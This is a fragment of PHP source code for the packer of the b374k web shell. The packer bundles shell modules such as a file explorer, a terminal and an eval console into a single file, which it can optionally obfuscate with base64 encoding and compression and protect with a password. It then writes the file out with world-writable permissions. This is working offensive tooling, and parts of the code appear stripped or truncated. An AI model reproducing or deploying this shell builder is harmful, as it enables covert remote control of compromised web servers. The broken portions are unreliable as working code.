", $css_code, $layout); $layout = str_replace("<__ZEPTO__>", $zepto_code, $layout); $layout = str_replace("<__JS__>", $js_code, $layout); $content = trim($module_init)."?>".$base_code.$module_code.$layout; eval($content); die(); } elseif(isset($p['outputfile'])&&isset($p['password'])&&isset($p['module'])&&isset($p['strip'])&&isset($p['base64'])&&isset($p['compress'])&&isset($p['compress_level'])){ $outputfile = trim($p['outputfile']); if(empty($outputfile)) $outputfile = 'b374k.php'; $password = trim($p['password']); $modules = trim($p['module']); if(empty($modules)) $modules = array(); else $modules = explode("," ,$modules); $strip = trim($p['strip']); $base64 = trim($p['base64']); $compress = trim($p['compress']); $compress_level = (int) $p['compress_level']; $module_arr = array_merge(array("explorer", "terminal", "eval"), $modules); $module_arr = array_map("packer_wrap_with_quote", $module_arr); $module_init = "\n\$GLOBALS['module_to_load'] = array(".implode(", ", $module_arr).");"; foreach($modules as $module){ $module = trim($module); $filename = $GLOBALS['packer']['module_dir'].$module; if(is_file($filename.".php")) $module_code .= packer_read_file($filename.".php"); if(is_file($filename.".js")) $js_code .= "\n".packer_read_file($filename.".js")."\n"; } $layout = str_replace("<__CSS__>", $css_code, $layout); $layout = str_replace("<__ZEPTO__>", $zepto_code, $layout); if($strip=='yes') $js_code = packer_pack_js($js_code); $layout = str_replace("<__JS__>", $js_code, $layout); $htmlcode = trim($layout); $phpcode = "".trim($base_code).trim($module_code); packer_output(packer_b374k($outputfile, $phpcode, $htmlcode, $strip, $base64, $compress, $compress_level, $password)); } else{ $available_themes = "Theme"; ?> <?php echo $GLOBALS['packer']['title']." ".$GLOBALS['packer']['version'];?>

Quick Run

Module (separated by comma)'>
Run

Pack

Output
Password
Module (separated by comma)'>
Strip Comments and Whitespaces
Base64 Encode
Compress
Pack
", $css_code, $layout); $layout = str_replace("<__ZEPTO__>", $zepto_code, $layout); if($strip=='yes') $js_code = packer_pack_js($js_code); $layout = str_replace("<__JS__>", $js_code, $layout); $htmlcode = trim($layout); $phpcode = "".trim($base_code).trim($module_code); $res = packer_b374k($outputfile, $phpcode, $htmlcode, $strip, $base64, $compress, $compress_level, $password); $status = explode("{[|b374k|]}", $res); $output .= "Result\t\t\t: ".strip_tags($status[0])."\n\n"; } echo $output; } function packer_read_file($file){ $content = false; if($fh = @fopen($file, "rb")){ $content = ""; while(!feof($fh)){ $content .= fread($fh, 8192); } } return $content; } function packer_write_file($file, $content){ if($fh = @fopen($file, "wb")){ if(fwrite($fh, $content)!==false){ if(!class_exists("ZipArchive")) return true; if(file_exists($file.".zip")) unlink ($file.".zip"); $zip = new ZipArchive(); $filename = "./".$file.".zip"; if($zip->open($filename, ZipArchive::CREATE)!==TRUE) return false; $zip->addFile($file); $zip->close(); return true; } } return false; } function packer_get_post(){ return packer_fix_magic_quote($_POST); } function packer_fix_magic_quote($arr){ $quotes_sybase = strtolower(ini_get('magic_quotes_sybase')); if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){ if(is_array($arr)){ foreach($arr as $k=>$v){ if(is_array($v)) $arr[$k] = clean($v); else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v)); } } } return $arr; } function packer_html_safe($str){ return htmlspecialchars($str, 2 | 1); } function packer_wrap_with_quote($str){ return "\"".$str."\""; } function packer_output($str){ header("Content-Type: text/plain"); header("Cache-Control: no-cache"); header("Pragma: no-cache"); echo $str; die(); } function packer_get_self(){ $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:""; return packer_html_safe($_SERVER["REQUEST_URI"].$query); } function packer_strips($str){ $newStr = ''; $commentTokens = array(T_COMMENT); if(defined('T_DOC_COMMENT')) $commentTokens[] = T_DOC_COMMENT; if(defined('T_ML_COMMENT')) $commentTokens[] = T_ML_COMMENT; $tokens = token_get_all($str); foreach($tokens as $token){ if (is_array($token)) { if (in_array($token[0], $commentTokens)) continue; $token = $token[1]; } $newStr .= $token; } $newStr = preg_replace("/(\s{2,})/", " ", $newStr); return $newStr; } function packer_get_theme(){ $available_themes = array(); foreach(glob($GLOBALS['packer']['theme_dir']."*.css") as $filename){ $filename = basename($filename, ".css"); $available_themes[] = $filename; } return $available_themes; } function packer_get_module(){ $available_modules = array(); foreach(glob($GLOBALS['packer']['module_dir']."*.php") as $filename){ $filename = basename($filename, ".php"); if(packer_check_module($filename)) $available_modules[] = $filename; } return $available_modules; } function packer_check_module($module){ $filename = $GLOBALS['packer']['module_dir'].$module; if(is_file($filename.".php")){ $content = packer_read_file($filename.".php"); @eval("?>".$content); if($GLOBALS['module'][$module]['id']==$module) return true; } return false; } function packer_pack_js($str){ $packer = new JavaScriptPacker($str, 0, true, false); return $packer->pack(); } function packer_b374k($output, $phpcode, $htmlcode, $strip, $base64, $compress, $compress_level, $password){ $content = ""; if(is_file($output)){ if(!is_writable($output)) return "error : file ".$output." exists and is not writable{[|b374k|]}"; } if(!empty($password)) $password = "\$GLOBALS['pass'] = \"".sha1(md5($password))."\"; // sha1(md5(pass))\n"; $compress_level = (int) $compress_level; if($compress_level<0) $compress_level = 0; elseif($compress_level>9) $compress_level = 9; $version = ""; if(preg_match("/\\\$GLOBALS\['ver'\]\ *=\ *[\"']+([^\"']+)[\"']+/", $phpcode, $r)){ $version = $r[1]; } $header = "\".".$encoder.");');\$b374k(\"".$content."\");?>"; } else{ if($compress!='no'){ $encoder = $encoder_func."(\$x)"; } else{ $code = $header.$password."?>".$content; $code = preg_replace("/\?>\s*<\?php\s*/", "", $code); } } if(is_file($output)) unlink($output); if(packer_write_file($output, $code)){ chmod($output, 0777); return "Succeeded : [ ".$output." ] Filesize : ".filesize($output)."{[|b374k|]}".packer_html_safe(trim($code)); } return "error{[|b374k|]}"; } ?>